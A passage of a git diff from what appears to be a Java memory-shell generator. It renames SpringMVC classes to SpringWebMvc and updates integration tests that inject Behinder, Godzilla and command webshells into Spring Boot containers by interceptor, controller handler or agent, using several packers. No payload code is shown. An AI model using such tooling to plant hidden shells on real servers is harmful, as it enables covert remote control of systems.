diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/SpringMVCShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java similarity index 51% rename from generator/src/main/java/com/reajason/javaweb/memshell/SpringMVCShell.java rename to generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java index 39e40f45..095a1ce1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/SpringMVCShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/SpringWebMvcShell.java @@ -1,17 +1,17 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor; -import com.reajason.javaweb.memshell.springmvc.behinder.BehinderControllerHandler; -import com.reajason.javaweb.memshell.springmvc.behinder.BehinderInterceptor; -import com.reajason.javaweb.memshell.springmvc.behinder.BehinderServletAdvisor; -import com.reajason.javaweb.memshell.springmvc.command.CommandControllerHandler; -import com.reajason.javaweb.memshell.springmvc.command.CommandInterceptor; -import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaControllerHandler; -import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaInterceptor; -import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaServletAdvisor; -import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInjector; -import com.reajason.javaweb.memshell.springmvc.injector.SpringFrameworkServletAgentInjector; -import com.reajason.javaweb.memshell.springmvc.injector.SpringInterceptorInjector; +import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler; +import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor; +import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor; +import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler; +import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor; +import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler; +import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor; +import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor; +import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector; +import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector; +import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector; import org.apache.commons.lang3.tuple.Pair; import java.util.Map; @@ -20,7 +20,7 @@ import java.util.Map; * @author ReaJason * @since 2024/12/22 */ -public class SpringMVCShell extends AbstractShell { +public class SpringWebMvcShell extends AbstractShell { public static final String INTERCEPTOR = "Interceptor"; public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor"; public static final String CONTROLLER_HANDLER = "ControllerHandler"; @@ -30,33 +30,33 @@ public class SpringMVCShell extends AbstractShell { @Override protected Map, Class>> getBehinderShellMap() { return Map.of( - INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class), - JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class), - CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class), - JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class), - AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringFrameworkServletAgentInjector.class) + INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class), + JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class), + CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class), + JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class), + AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class) ); } @Override protected Map, Class>> getCommandShellMap() { return Map.of( - INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class), - JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class), - CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class), - JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class), - AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringFrameworkServletAgentInjector.class) + INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class), + JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class), + CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class), + JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class), + AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class) ); } @Override protected Map, Class>> getGodzillaShellMap() { return Map.of( - INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class), - JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class), - CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class), - JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class), - AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringFrameworkServletAgentInjector.class) + INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class), + JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class), + CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class), + JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class), + AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class) ); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java index 6153262a..f0c84044 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/config/Server.java @@ -33,7 +33,7 @@ public enum Server { /** * SpringMVC 框架 */ - SpringMVC(new SpringMVCShell()), + SpringWebMvc(new SpringWebMvcShell()), /** * Spring Webflux 框架 diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java index d89ef177..466c3a7f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/utils/CommonUtil.java @@ -70,7 +70,7 @@ public class CommonUtil { String packageName = switch (server) { case Jetty -> "org.eclipse.jetty.servlet.handlers"; case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers"; - case SpringMVC -> "org.springframework.boot.mvc.handlers"; + case SpringWebMvc -> "org.springframework.boot.mvc.handlers"; case SpringWebflux -> "org.springframework.boot.webflux.handlers"; case WebSphere -> "com.ibm.ws.webcontainer.handlers"; case WebLogic -> "weblogic.servlet.internal.handlers"; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 10e2703a..79d48d1a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -1,7 +1,7 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.GeneratorMain; -import com.reajason.javaweb.memshell.SpringMVCShell; +import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.SpringWebFluxShell; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.memshell.packer.JarPacker; @@ -38,7 +38,7 @@ public class ShellAssertionTool { String urlPattern = null; if (shellType.endsWith(Constants.SERVLET) - || shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER) + || shellType.endsWith(SpringWebMvcShell.CONTROLLER_HANDLER) || shellType.equals(SpringWebFluxShell.HANDLER_METHOD) || shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION) ) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java index 4dd2ba3e..71523c08 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2ContainerTest.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.integration.springmvc; -import com.reajason.javaweb.memshell.SpringMVCShell; -import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; @@ -44,27 +43,27 @@ public class SpringBoot2ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -77,7 +76,7 @@ public class SpringBoot2ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer, container); + testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_6, packer, container); } public static String getUrl(GenericContainer container) { diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java index 1e7cebf3..b15c8fa5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot2WarContainerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.integration.springmvc; -import com.reajason.javaweb.memshell.SpringMVCShell; +import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; @@ -41,24 +41,24 @@ public class SpringBoot2WarContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL), - arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64) + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL), + arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL), + arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64) ); } @@ -71,6 +71,6 @@ public class SpringBoot2WarContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer); + testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java index abfe403f..85a07531 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springmvc/SpringBoot3ContainerTest.java @@ -1,6 +1,6 @@ package com.reajason.javaweb.integration.springmvc; -import com.reajason.javaweb.memshell.SpringMVCShell; +import com.reajason.javaweb.memshell.SpringWebMvcShell; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; @@ -43,15 +43,15 @@ public class SpringBoot3ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64), - arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), - arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar) + arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), + arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); } @@ -64,7 +64,7 @@ public class SpringBoot3ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V17, packer, container); + testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V17, packer, container); } public static String getUrl(GenericContainer container) { diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/behinder/BehinderControllerHandler.java similarity index 98% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/behinder/BehinderControllerHandler.java index 7f4767ab..9d68d1c0 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderControllerHandler.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/behinder/BehinderControllerHandler.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.springmvc.behinder; +package com.reajason.javaweb.memshell.springwebmvc.behinder; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.mvc.Controller; diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/behinder/BehinderInterceptor.java similarity index 98% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/behinder/BehinderInterceptor.java index e46f2a31..04286efd 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderInterceptor.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/behinder/BehinderInterceptor.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.springmvc.behinder; +package com.reajason.javaweb.memshell.springwebmvc.behinder; import org.springframework.web.servlet.AsyncHandlerInterceptor; import org.springframework.web.servlet.ModelAndView; diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderServletAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/behinder/BehinderServletAdvisor.java similarity index 98% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderServletAdvisor.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/behinder/BehinderServletAdvisor.java index 963856e9..4332354f 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/behinder/BehinderServletAdvisor.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/behinder/BehinderServletAdvisor.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.springmvc.behinder; +package com.reajason.javaweb.memshell.springwebmvc.behinder; import net.bytebuddy.asm.Advice; diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandControllerHandler.java similarity index 95% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandControllerHandler.java index 5453a333..badca6af 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandControllerHandler.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandControllerHandler.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.springmvc.command; +package com.reajason.javaweb.memshell.springwebmvc.command; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.mvc.Controller; diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandInterceptor.java similarity index 96% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandInterceptor.java index 7c494fd2..97e8f6f2 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/command/CommandInterceptor.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/command/CommandInterceptor.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.springmvc.command; +package com.reajason.javaweb.memshell.springwebmvc.command; import org.springframework.web.servlet.AsyncHandlerInterceptor; import org.springframework.web.servlet.ModelAndView; diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/godzilla/GodzillaControllerHandler.java similarity index 98% rename from memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java rename to memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/godzilla/GodzillaControllerHandler.java index 7c5728a2..7ad7dddb 100644 --- a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaControllerHandler.java +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/godzilla/GodzillaControllerHandler.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.springmvc.godzilla; +package com.reajason.javaweb.memshell.springwebmvc.godzilla; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.mvc.Controller; diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springmvc/godzilla/GodzillaInterceptor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/godzilla/GodzillaInterceptor.java similarity index 98% rename from 